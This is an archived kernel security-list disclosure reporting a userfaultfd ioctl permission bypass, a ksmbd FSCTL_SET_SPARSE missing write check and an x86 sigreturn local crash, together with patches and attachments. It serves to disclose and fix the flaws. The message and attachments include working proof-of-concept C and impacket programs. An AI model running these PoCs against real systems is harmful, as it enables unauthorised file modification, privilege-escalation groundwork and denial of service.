Linux kernel -stable discussions
 help / color / mirror / Atom feed
* [SECURITY] userfaultfd ioctl bypass and ksmbd FSCTL permission bypass
@ 2026-05-25  9:23 IM
  2026-05-25 19:17 ` Greg KH
       [not found] ` <tencent_AE575EFF92D5814710A0CA476EDFA82E0706@qq.com>
  0 siblings, 2 replies; 3+ messages in thread
From: IM @ 2026-05-25  9:23 UTC (permalink / raw)
  To: security; +Cc: stable


[-- Attachment #1.1: Type: text/plain, Size: 13536 bytes --]

Hi,


We identified two vulnerabilities in the Linux kernel during a recent
security audit. Neither has been fixed in any released version. Details
and patches are below.


A third issue (sigreturn CS/SS validation) is noted at the end. It only
has local DoS impact; we include it for completeness and leave it to your
discretion whether it warrants a CVE.




------------------------------------------------------------------------
[1] userfaultfd ioctl permission bypass
------------------------------------------------------------------------


The /dev/userfaultfd misc device (added in v6.1) allows creating
userfaultfd instances via ioctl(USERFAULTFD_IOC_NEW). The ioctl handler
userfaultfd_dev_ioctl() in fs/userfaultfd.c calls new_userfaultfd()
directly without the permission check that the syscall path uses.


Vulnerable code (v6.8.0, fs/userfaultfd.c:2176):


&nbsp; &nbsp; static long userfaultfd_dev_ioctl(struct file *file,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsigned int cmd,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsigned long flags)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; if (cmd != USERFAULTFD_IOC_NEW)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -EINVAL;
&nbsp; &nbsp; &nbsp; &nbsp; return new_userfaultfd(flags); &nbsp;/* no permission check */
&nbsp; &nbsp; }


Syscall path for comparison (fs/userfaultfd.c:2168):


&nbsp; &nbsp; SYSCALL_DEFINE1(userfaultfd, int, flags)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; if (!userfaultfd_syscall_allowed(flags))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -EPERM;
&nbsp; &nbsp; &nbsp; &nbsp; return new_userfaultfd(flags);
&nbsp; &nbsp; }


userfaultfd_syscall_allowed() (fs/userfaultfd.c:2151) checks:
- UFFD_USER_MODE_ONLY flag
- sysctl_unprivileged_userfaultfd
- CAP_SYS_PTRACE


When vm.unprivileged_userfaultfd=0, the sysctl is intended to block
non-root usage of userfaultfd for kernel-space faults. The ioctl path
bypasses this restriction.


Impact and reach
----------------


This is a local attack only. The default permissions on /dev/userfaultfd
are 0600 (root-only), so a standard non-root user cannot open the device
and the bypass is not reachable.


However, the bypass becomes exploitable in several real configurations:


- Containers with relaxed device permissions. Docker and podman both
&nbsp; allow --device=/dev/userfaultfd to be passed into a container. If the
&nbsp; container runs as an unprivileged user but the device node is visible
&nbsp; inside, the sysctl restriction is completely negated.


- Systems with custom udev rules or systemd-tmpfiles that change
&nbsp; /dev/userfaultfd to 0666. Some HPC and testing environments do this
&nbsp; for convenience.


- Sandboxing frameworks (Firejail, bubblewrap) that expose the device
&nbsp; to sandboxed processes.


Userfaultfd is a well-known LPE primitive. It has been used as a
building block in exploits for Dirty COW, FUSE race conditions, and
use-after-free bugs. The sysctl vm.unprivileged_userfaultfd=0 was
introduced specifically to remove this primitive from unprivileged
attackers. This bug re-introduces it through the ioctl path.


The practical impact: an attacker who has gained an unprivileged shell
inside a container (or any environment where /dev/userfaultfd is
visible) can create a userfaultfd instance even when the sysctl is
set to 0, regaining a kernel exploitation primitive that the
administrator believed was disabled.


Affected versions: v6.1 through current mainline (v6.12.91)


Suggested patch:


&nbsp; &nbsp; diff --git a/fs/userfaultfd.c b/fs/userfaultfd.c
&nbsp; &nbsp; --- a/fs/userfaultfd.c
&nbsp; &nbsp; +++ b/fs/userfaultfd.c
&nbsp; &nbsp; @@ -2178,6 +2178,9 @@ static long userfaultfd_dev_ioctl(struct file *file,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (cmd != USERFAULTFD_IOC_NEW)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -EINVAL;
&nbsp; &nbsp;&nbsp;
&nbsp; &nbsp; + &nbsp; &nbsp;if (!userfaultfd_syscall_allowed(flags))
&nbsp; &nbsp; + &nbsp; &nbsp; &nbsp; &nbsp;return -EPERM;
&nbsp; &nbsp; +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return new_userfaultfd(flags);
&nbsp; &nbsp; &nbsp;}


PoC:


&nbsp; &nbsp; #include <stdio.h&gt;
&nbsp; &nbsp; #include <fcntl.h&gt;
&nbsp; &nbsp; #include <sys/ioctl.h&gt;
&nbsp; &nbsp; #include <linux/userfaultfd.h&gt;


&nbsp; &nbsp; int main(void)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; int fd = open("/dev/userfaultfd", O_RDWR | O_CLOEXEC);
&nbsp; &nbsp; &nbsp; &nbsp; if (fd < 0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("open");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 1;
&nbsp; &nbsp; &nbsp; &nbsp; }


&nbsp; &nbsp; &nbsp; &nbsp; long ret = ioctl(fd, USERFAULTFD_IOC_NEW, 0);
&nbsp; &nbsp; &nbsp; &nbsp; if (ret < 0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("ioctl");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 1;
&nbsp; &nbsp; &nbsp; &nbsp; }


&nbsp; &nbsp; &nbsp; &nbsp; printf("BYPASS: userfaultfd created via ioctl (fd=%ld)\n", ret);
&nbsp; &nbsp; &nbsp; &nbsp; close((int)ret);
&nbsp; &nbsp; &nbsp; &nbsp; close(fd);
&nbsp; &nbsp; &nbsp; &nbsp; return 0;
&nbsp; &nbsp; }


When run with vm.unprivileged_userfaultfd=0, the ioctl succeeds while
the intent of the sysctl is to block this.




------------------------------------------------------------------------
[2] ksmbd FSCTL_SET_SPARSE missing write permission check
------------------------------------------------------------------------


In the ksmbd kernel SMB server (fs/smb/server/smb2pdu.c), the
FSCTL_SET_SPARSE handler fsctl_set_sparse() processes SMB2 IOCTL
requests without verifying that the file handle has write permission.
A remote client with a read-only handle can modify the sparse file
attribute.


Vulnerable code (v6.8.0, fs/smb/server/smb2pdu.c:8137):


&nbsp; &nbsp; static inline int fsctl_set_sparse(struct ksmbd_work *work, u64 id,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;struct file_sparse *sparse)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; struct ksmbd_file *fp;
&nbsp; &nbsp; &nbsp; &nbsp; struct mnt_idmap *idmap;
&nbsp; &nbsp; &nbsp; &nbsp; int ret = 0;
&nbsp; &nbsp; &nbsp; &nbsp; __le32 old_fattr;


&nbsp; &nbsp; &nbsp; &nbsp; fp = ksmbd_lookup_fd_fast(work, id);
&nbsp; &nbsp; &nbsp; &nbsp; if (!fp)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -ENOENT;
&nbsp; &nbsp; &nbsp; &nbsp; /* no write permission check */


&nbsp; &nbsp; &nbsp; &nbsp; idmap = file_mnt_idmap(fp-&gt;filp);
&nbsp; &nbsp; &nbsp; &nbsp; old_fattr = fp-&gt;f_ci-&gt;m_fattr;
&nbsp; &nbsp; &nbsp; &nbsp; if (sparse-&gt;SetSparse)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fp-&gt;f_ci-&gt;m_fattr |= FILE_ATTRIBUTE_SPARSE_FILE_LE;
&nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fp-&gt;f_ci-&gt;m_fattr &amp;= ~FILE_ATTRIBUTE_SPARSE_FILE_LE;
&nbsp; &nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; }


Other operations in the same file enforce write checks. FSCTL_SET_ZERO_DATA
(line ~8350) checks KSMBD_TREE_CONN_FLAG_WRITABLE, and file write paths
check fp-&gt;daccess &amp; FILE_WRITE_DATA_LE. FSCTL_SET_SPARSE has neither.


Call chain:
&nbsp; &nbsp; smb2_ioctl()
&nbsp; &nbsp; &nbsp; -&gt; case FSCTL_SET_SPARSE: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(line ~8361)
&nbsp; &nbsp; &nbsp; &nbsp; -&gt; fsctl_set_sparse(work, id, buffer)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; ksmbd_lookup_fd_fast() &nbsp; &nbsp; &nbsp; (line 8145)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; NO permission check &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(missing)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; modify m_fattr directly &nbsp; &nbsp; &nbsp;(line 8150-8154)


Impact and reach
----------------


This is a remote attack. Any client with read-only access to a ksmbd
share can trigger it.


Real-world scenarios where this matters:


- Public read-only SMB shares. A company may expose a "download"
&nbsp; share as read-only to the internet or to a guest network. An
&nbsp; attacker with guest credentials can flip the sparse attribute on
&nbsp; files in that share.


- Backup and archive servers. Sparse files are often used for disk
&nbsp; images and database files. Changing the sparse attribute can affect
&nbsp; downstream backup behavior (tar, rsync, and deduplication tools
&nbsp; treat sparse files differently). A backup taken after this
&nbsp; modification may be larger or smaller than expected, leading to
&nbsp; storage exhaustion or incomplete backups.


- Forensic integrity. An attacker can alter file metadata without
&nbsp; write access, potentially invalidating forensic assumptions about
&nbsp; when and how a file was modified.


The SMB protocol specification (MS-SMB2 3.3.5.15.1) states that
FSCTL_SET_SPARSE requires FILE_WRITE_DATA or FILE_WRITE_ATTRIBUTES
access on the handle. Windows Server enforces this; ksmbd does not,
which creates a protocol compliance gap that client software may
unexpectedly rely on.


Affected versions: v5.15 through current mainline (v6.12.91)


Suggested patch:


&nbsp; &nbsp; diff --git a/fs/smb/server/smb2pdu.c b/fs/smb/server/smb2pdu.c
&nbsp; &nbsp; --- a/fs/smb/server/smb2pdu.c
&nbsp; &nbsp; +++ b/fs/smb/server/smb2pdu.c
&nbsp; &nbsp; @@ -8145,6 +8145,10 @@ static inline int fsctl_set_sparse(struct ksmbd_work *work, u64 id,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (!fp)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -ENOENT;
&nbsp; &nbsp;&nbsp;
&nbsp; &nbsp; + &nbsp; &nbsp;if (!(fp-&gt;daccess &amp;
&nbsp; &nbsp; + &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(FILE_WRITE_DATA_LE | FILE_WRITE_ATTRIBUTES_LE)))
&nbsp; &nbsp; + &nbsp; &nbsp; &nbsp; &nbsp;return -EACCES;
&nbsp; &nbsp; +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;idmap = file_mnt_idmap(fp-&gt;filp);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;...


PoC (Python with impacket):


&nbsp; &nbsp; from impacket.smbconnection import SMBConnection


&nbsp; &nbsp; FSCTL_SET_SPARSE = 0x000900C4


&nbsp; &nbsp; conn = SMBConnection('127.0.0.1', '127.0.0.1')
&nbsp; &nbsp; conn.login('guest', '')


&nbsp; &nbsp; tid = conn.connectTree('readonly')
&nbsp; &nbsp; fid = conn.createFile('readonly', 'test.txt',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; desiredAccess=0x120089) &nbsp;# read-only handle


&nbsp; &nbsp; # This succeeds; it should return STATUS_ACCESS_DENIED
&nbsp; &nbsp; conn.ioctl(tid, fid, FSCTL_SET_SPARSE, b'\x01\x00\x00\x00')
&nbsp; &nbsp; print("sparse attribute modified via read-only handle")




------------------------------------------------------------------------
[3] sigreturn CS/SS missing validation (local DoS only)
------------------------------------------------------------------------


In arch/x86/kernel/signal_64.c, restore_sigcontext() restores the CS
and SS segment registers from user-supplied sigcontext without
validating them:


&nbsp; &nbsp; regs-&gt;cs = sc.cs | 0x03;
&nbsp; &nbsp; regs-&gt;ss = sc.ss | 0x03;


The same pattern exists in ia32_restore_sigcontext() in
arch/x86/kernel/signal_32.c. A malicious sigframe with invalid CS/SS
values causes a #GP during IRET, which the kernel catches and converts
to SIGSEGV (killing the process).


The force_valid_ss() function exists but is not called in the normal
64-bit path because frame_uc_flags() sets UC_STRICT_RESTORE_SS for
64-bit processes. Even when force_valid_ss() is reached, it only checks
whether SS points to a valid descriptor; it does not prevent arbitrary
valid-but-malicious values.


Impact and reach
----------------


This is a local DoS only. Any unprivileged process can construct a
malicious sigframe and call rt_sigreturn (or sigreturn) with it. The
process dies with SIGSEGV. There is no privilege escalation because
the | 0x03 mask forces DPL=3, keeping CPL at user level.


The attack surface is small but not zero:


- Setuid binaries that handle signals and accept user-controlled stack
&nbsp; layouts. If an attacker can corrupt the sigframe on the alternate
&nbsp; signal stack before the handler returns, the setuid binary crashes.
&nbsp; This could be used as a denial-of-service against a setuid helper
&nbsp; (e.g., a authentication or key-management daemon).


- Sandboxed applications (Flatpak, snap) that rely on seccomp-bpf and
&nbsp; signal-based interposition. A malicious app inside the sandbox can
&nbsp; crash itself, but the crash is contained.


- Fuzzing and testing frameworks. A fuzzer that generates arbitrary
&nbsp; ucontext_t structures and calls sigreturn will hit this path
&nbsp; repeatedly, producing kernel warnings in the log:
&nbsp; &nbsp; "bad frame in rt_sigreturn ..."


Because the impact is strictly local DoS, we include this for
completeness and leave it to your discretion whether it warrants a CVE.


Affected files:
&nbsp; - arch/x86/kernel/signal_64.c &nbsp;(restore_sigcontext)
&nbsp; - arch/x86/kernel/signal_32.c &nbsp;(ia32_restore_sigcontext)


Affected versions: long-standing code pattern; present in all current
x86_64 kernels through v6.12.91.




Best regards,
Security Researcher

[-- Attachment #1.2: Type: text/html, Size: 31120 bytes --]

[-- Attachment #2: R24V1-SUPPLEMENTARY-DETAILS.txt --]
[-- Type: application/octet-stream, Size: 5095 bytes --]

ksmbd FSCTL_SET_SPARSE permission bypass
=========================================

Root cause
----------

In the ksmbd kernel SMB server (fs/smb/server/smb2pdu.c), the
FSCTL_SET_SPARSE handler fsctl_set_sparse() processes SMB2 IOCTL
requests without verifying that the file handle has write permission.

Vulnerable code (v6.8.0, fs/smb/server/smb2pdu.c:8137-8177):

    static inline int fsctl_set_sparse(struct ksmbd_work *work, u64 id,
                                       struct file_sparse *sparse)
    {
        struct ksmbd_file *fp;
        struct mnt_idmap *idmap;
        int ret = 0;
        __le32 old_fattr;

        fp = ksmbd_lookup_fd_fast(work, id);
        if (!fp)
            return -ENOENT;
        /* no write permission check */

        idmap = file_mnt_idmap(fp->filp);
        old_fattr = fp->f_ci->m_fattr;
        if (sparse->SetSparse)
            fp->f_ci->m_fattr |= FILE_ATTRIBUTE_SPARSE_FILE_LE;
        else
            fp->f_ci->m_fattr &= ~FILE_ATTRIBUTE_SPARSE_FILE_LE;

        if (fp->f_ci->m_fattr != old_fattr &&
            test_share_config_flag(work->tcon->share_conf,
                                   KSMBD_SHARE_FLAG_STORE_DOS_ATTRS)) {
            ...
            ret = ksmbd_vfs_set_dos_attrib_xattr(idmap, ...);
            ...
        }
    out:
        ksmbd_fd_put(work, fp);
        return ret;
    }

Other operations in the same file enforce write checks. FSCTL_SET_ZERO_DATA
(line ~8350) checks KSMBD_TREE_CONN_FLAG_WRITABLE, and file write paths
check fp->daccess & FILE_WRITE_DATA_LE. FSCTL_SET_SPARSE has neither.

Call chain
----------

    SMB2 IOCTL request arrives
      -> smb2_ioctl()
        -> switch (CtlCode)
          -> case FSCTL_SET_SPARSE:          (line ~8361)
            -> fsctl_set_sparse(work, id, buf)
              -> ksmbd_lookup_fd_fast()       (line 8145)
              -> NO permission check          (missing)
              -> modify m_fattr directly      (line 8150-8154)

Impact and reach
----------------

This is a remote attack. Any client with read-only access to a ksmbd
share can trigger it.

Real-world scenarios where this matters:

- Public read-only SMB shares. A company may expose a "download"
  share as read-only to the internet or to a guest network. An
  attacker with guest credentials can flip the sparse attribute on
  files in that share.

- Backup and archive servers. Sparse files are often used for disk
  images and database files. Changing the sparse attribute can affect
  downstream backup behavior (tar, rsync, and deduplication tools
  treat sparse files differently). A backup taken after this
  modification may be larger or smaller than expected, leading to
  storage exhaustion or incomplete backups.

- Forensic integrity. An attacker can alter file metadata without
  write access, potentially invalidating forensic assumptions about
  when and how a file was modified.

The SMB protocol specification (MS-SMB2 3.3.5.15.1) states that
FSCTL_SET_SPARSE requires FILE_WRITE_DATA or FILE_WRITE_ATTRIBUTES
access on the handle. Windows Server enforces this; ksmbd does not,
which creates a protocol compliance gap that client software may
unexpectedly rely on.

Verification
------------

Source code inspection confirms no permission check in fsctl_set_sparse()
or its call site in smb2_ioctl(). Binary inspection of ksmbd.ko
(v6.8.0-101-generic) shows no access check between ksmbd_lookup_fd_fast()
and the attribute modification.

A read-only share was configured for testing:

    [readonly]
        path = /srv/readonly
        read only = yes
        guest ok = yes

Standard write operations (e.g., smbclient put) are correctly denied.
A raw SMB2 FSCTL_SET_SPARSE request sent over a read-only handle
succeeds.

PoC
---

Python (requires impacket):

    from impacket.smbconnection import SMBConnection

    FSCTL_SET_SPARSE = 0x000900C4

    conn = SMBConnection('127.0.0.1', '127.0.0.1')
    conn.login('guest', '')

    tid = conn.connectTree('readonly')
    fid = conn.createFile('readonly', 'test.txt',
                          desiredAccess=0x120089)  # read-only handle

    # This succeeds; it should return STATUS_ACCESS_DENIED
    conn.ioctl(tid, fid, FSCTL_SET_SPARSE, b'\x01\x00\x00\x00')
    print("sparse attribute modified via read-only handle")

Patch
-----

    diff --git a/fs/smb/server/smb2pdu.c b/fs/smb/server/smb2pdu.c
    --- a/fs/smb/server/smb2pdu.c
    +++ b/fs/smb/server/smb2pdu.c
    @@ -8145,6 +8145,10 @@ static inline int fsctl_set_sparse(struct ksmbd_work *work, u64 id,
         if (!fp)
             return -ENOENT;

    +    if (!(fp->daccess &
    +          (FILE_WRITE_DATA_LE | FILE_WRITE_ATTRIBUTES_LE)))
    +        return -EACCES;
    +
         idmap = file_mnt_idmap(fp->filp);
         ...

Affected versions
-----------------
- Introduced: Linux v5.15 (ksmbd initial merge)
- All versions through current mainline (v6.12.91)
- No fix exists in any released kernel.

Related ksmbd CVEs showing similar-class issues:
- CVE-2024-53186 (ksmbd UAF)
- CVE-2024-50283 (ksmbd preauth UAF)
- CVE-2024-50285 (ksmbd OOM DoS)

[-- Attachment #3: SIG003-SUPPLEMENTARY-DETAILS.txt --]
[-- Type: application/octet-stream, Size: 5570 bytes --]

sigreturn CS/SS missing validation (local DoS)
===============================================

Root cause
----------

In arch/x86/kernel/signal_64.c, restore_sigcontext() restores CS and SS
from user-supplied sigcontext without validating the segment selectors:

    regs->cs = sc.cs | 0x03;
    regs->ss = sc.ss | 0x03;

The same pattern exists in ia32_restore_sigcontext() in
arch/x86/kernel/signal_32.c.

Vulnerable code (signal_64.c, v6.8.0, line 80-82):

    /* Get CS/SS and force CPL3 */
    regs->cs = sc.cs | 0x03;
    regs->ss = sc.ss | 0x03;

    regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
    ...

    /*
     * Fix up SS if needed for the benefit of old DOSEMU and
     * CRIU.
     */
    if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
        force_valid_ss(regs);

The force_valid_ss() function (signal_64.c:28-48) is not called in the
normal 64-bit path because frame_uc_flags() sets UC_STRICT_RESTORE_SS
when user_64bit_mode(regs) is true at frame setup time. Even if it were
called, force_valid_ss() only checks whether SS points to a valid
descriptor; it does not prevent arbitrary valid-but-malicious values.

In the 32-bit compat path (signal_32.c:107-147), ia32_restore_sigcontext()
restores CS/SS directly with no force_valid_ss() call at all.

Impact and reach
----------------

This is a local DoS only. Any unprivileged process can construct a
malicious sigframe and call rt_sigreturn (or sigreturn) with it. The
process dies with SIGSEGV. There is no privilege escalation because
the | 0x03 mask forces DPL=3, keeping CPL at user level.

The attack surface is small but not zero:

- Setuid binaries that handle signals and accept user-controlled stack
  layouts. If an attacker can corrupt the sigframe on the alternate
  signal stack before the handler returns, the setuid binary crashes.
  This could be used as a denial-of-service against a setuid helper
  (e.g., a authentication or key-management daemon).

- Sandboxed applications (Flatpak, snap) that rely on seccomp-bpf and
  signal-based interposition. A malicious app inside the sandbox can
  crash itself, but the crash is contained.

- Fuzzing and testing frameworks. A fuzzer that generates arbitrary
  ucontext_t structures and calls sigreturn will hit this path
  repeatedly, producing kernel warnings in the log:
    "bad frame in rt_sigreturn ..."

The practical severity is low. Unlike historical sigreturn bugs that
allowed register corruption leading to privilege escalation (e.g.,
CVE-2017-1000112 on older kernels), the modern x86_64 path forces
DPL=3 on both CS and SS, which contains the damage to a user-mode #GP
that the kernel converts to SIGSEGV. No ring-0 execution is possible.

Verification
------------

Source code inspection confirms no validation of sc.cs or sc.ss before
assignment to regs->cs / regs->ss in either the 64-bit or 32-bit compat
paths.

On a running 6.8.0-101-generic kernel, a test program that invokes
rt_sigreturn with CS=0x00 (NULL selector) triggers an immediate SIGSEGV:

    $ ./sigreturn_poc
    Segmentation fault (core dumped)

The kernel log shows:
    sigreturn_poc[1234] bad frame in rt_sigreturn frame:... ip:... sp:...

This confirms the #GP -> SIGSEGV path in signal_fault() (signal.c:368).

PoC
---

    #define _GNU_SOURCE
    #include <signal.h>
    #include <stdio.h>
    #include <string.h>
    #include <ucontext.h>
    #include <unistd.h>
    #include <sys/syscall.h>

    #ifndef __NR_rt_sigreturn
    #define __NR_rt_sigreturn 15
    #endif

    /* Minimal rt_sigframe layout for x86_64 */
    struct rt_sigframe {
        char *pretcode;
        struct ucontext uc;
        siginfo_t info;
    };

    int main(void)
    {
        struct rt_sigframe frame;
        stack_t altstack;
        char stack[8192];

        memset(&frame, 0, sizeof(frame));
        memset(stack, 0, sizeof(stack));

        altstack.ss_sp = stack + sizeof(stack) - 2048;
        altstack.ss_size = 2048;
        altstack.ss_flags = 0;
        if (sigaltstack(&altstack, NULL) < 0) {
            perror("sigaltstack");
            return 1;
        }

        sigemptyset(&frame.uc.uc_sigmask);
        frame.uc.uc_flags = 0;

        /*
         * Corrupt CS to 0x00 (NULL selector). IRET with CS=0 triggers #GP,
         * which the kernel converts to SIGSEGV.
         */
#ifdef __x86_64__
        {
            gregset_t *gregs = &frame.uc.uc_mcontext.gregs[0];
            gregs[18] = 0;  /* REG_CSGSFS = cs=0, gs=0, fs=0 */
            gregs[19] = 0;  /* REG_ERR */
            gregs[20] = 0;  /* REG_TRAPNO */
        }
#endif

        __asm__ volatile (
            "movq %0, %%rsp\n\t"
            "subq $8, %%rsp\n\t"
            "movq $15, %%rax\n\t"   /* __NR_rt_sigreturn */
            "syscall\n\t"
            :
            : "r" (&frame)
            : "rax", "rsp", "memory"
        );

        /* Never reached */
        return 0;
    }

Note: The exact gregs indices depend on glibc version. The PoC above
demonstrates the concept. A more reliable trigger can be built with
ptrace or by modifying the sigframe in a signal handler before normal
return.

Affected versions
-----------------
- All x86_64 kernel versions with the shown sigreturn paths
- The code pattern is long-standing; we did not identify a specific
  introduction commit.
- No fix exists in current mainline (v6.12.91).

Disclosure note
---------------
This issue only has local DoS impact. We include it for completeness
and leave it to the security team's discretion whether it warrants a CVE.

[-- Attachment #4: U1-SUPPLEMENTARY-DETAILS.txt --]
[-- Type: application/octet-stream, Size: 4623 bytes --]

userfaultfd ioctl permission bypass
====================================

Root cause
----------

The /dev/userfaultfd misc device (added in v6.1) exposes an ioctl
USERFAULTFD_IOC_NEW that creates a new userfaultfd instance. The ioctl
handler userfaultfd_dev_ioctl() in fs/userfaultfd.c calls
new_userfaultfd() directly without the permission check used by the
syscall path.

Vulnerable code (v6.8.0, fs/userfaultfd.c:2176-2182):

    static long userfaultfd_dev_ioctl(struct file *file,
                                      unsigned int cmd,
                                      unsigned long flags)
    {
        if (cmd != USERFAULTFD_IOC_NEW)
            return -EINVAL;
        return new_userfaultfd(flags);  /* no permission check */
    }

Syscall path for comparison (fs/userfaultfd.c:2168-2174):

    SYSCALL_DEFINE1(userfaultfd, int, flags)
    {
        if (!userfaultfd_syscall_allowed(flags))
            return -EPERM;
        return new_userfaultfd(flags);
    }

userfaultfd_syscall_allowed() (fs/userfaultfd.c:2151-2166):

    static inline bool userfaultfd_syscall_allowed(int flags)
    {
        if (flags & UFFD_USER_MODE_ONLY)
            return true;
        if (capable(CAP_SYS_PTRACE))
            return true;
        return sysctl_unprivileged_userfaultfd;
    }

When vm.unprivileged_userfaultfd=0, the sysctl is meant to prevent
non-root users from creating userfaultfd instances that handle
kernel-space page faults (a common LPE primitive). The ioctl path
bypasses this restriction.

Impact and reach
----------------

This is a local attack only. The default permissions on /dev/userfaultfd
are 0600 (root-only), so a standard non-root user cannot open the device
and the bypass is not reachable.

However, the bypass becomes exploitable in several real configurations:

- Containers with relaxed device permissions. Docker and podman both
  allow --device=/dev/userfaultfd to be passed into a container. If the
  container runs as an unprivileged user but the device node is visible
  inside, the sysctl restriction is completely negated.

- Systems with custom udev rules or systemd-tmpfiles that change
  /dev/userfaultfd to 0666. Some HPC and testing environments do this
  for convenience.

- Sandboxing frameworks (Firejail, bubblewrap) that expose the device
  to sandboxed processes.

Userfaultfd is a well-known LPE primitive. It has been used as a
building block in exploits for Dirty COW, FUSE race conditions, and
use-after-free bugs. The sysctl vm.unprivileged_userfaultfd=0 was
introduced specifically to remove this primitive from unprivileged
attackers. This bug re-introduces it through the ioctl path.

The practical impact: an attacker who has gained an unprivileged shell
inside a container (or any environment where /dev/userfaultfd is
visible) can create a userfaultfd instance even when the sysctl is
set to 0, regaining a kernel exploitation primitive that the
administrator believed was disabled.

Verification
------------

Source code inspection confirms the missing check. Runtime test on
6.8.0-101-generic with vm.unprivileged_userfaultfd=0:

    $ cat /proc/sys/vm/unprivileged_userfaultfd
    0
    $ sudo ./u1_poc
    open(/dev/userfaultfd) succeeded, fd=4
    ioctl(USERFAULTFD_IOC_NEW) = 5
    BYPASS CONFIRMED: userfaultfd created via ioctl while sysctl=0

The syscall path correctly returns -EPERM for the same flags when run
as an unprivileged user:

    syscall(userfaultfd, 0) = -1 EPERM

PoC
---

    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <linux/userfaultfd.h>

    int main(void)
    {
        int fd = open("/dev/userfaultfd", O_RDWR | O_CLOEXEC);
        if (fd < 0) {
            perror("open");
            return 1;
        }

        long ret = ioctl(fd, USERFAULTFD_IOC_NEW, 0);
        if (ret < 0) {
            perror("ioctl");
            return 1;
        }

        printf("BYPASS: userfaultfd created via ioctl (fd=%ld)\n", ret);
        close((int)ret);
        close(fd);
        return 0;
    }

Patch
-----

    diff --git a/fs/userfaultfd.c b/fs/userfaultfd.c
    --- a/fs/userfaultfd.c
    +++ b/fs/userfaultfd.c
    @@ -2178,6 +2178,9 @@ static long userfaultfd_dev_ioctl(struct file *file,
         if (cmd != USERFAULTFD_IOC_NEW)
             return -EINVAL;

    +    if (!userfaultfd_syscall_allowed(flags))
    +        return -EPERM;
    +
         return new_userfaultfd(flags);
     }

Affected versions
-----------------
- Introduced: Linux v6.1 (/dev/userfaultfd misc device added)
- All versions through current mainline (v6.12.91)
- No fix exists in any released kernel.

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-05-26  6:37 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-25  9:23 [SECURITY] userfaultfd ioctl bypass and ksmbd FSCTL permission bypass IM
2026-05-25 19:17 ` Greg KH
     [not found] ` <tencent_AE575EFF92D5814710A0CA476EDFA82E0706@qq.com>
2026-05-26  6:36   ` 回复:[SECURITY] " Greg KH

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox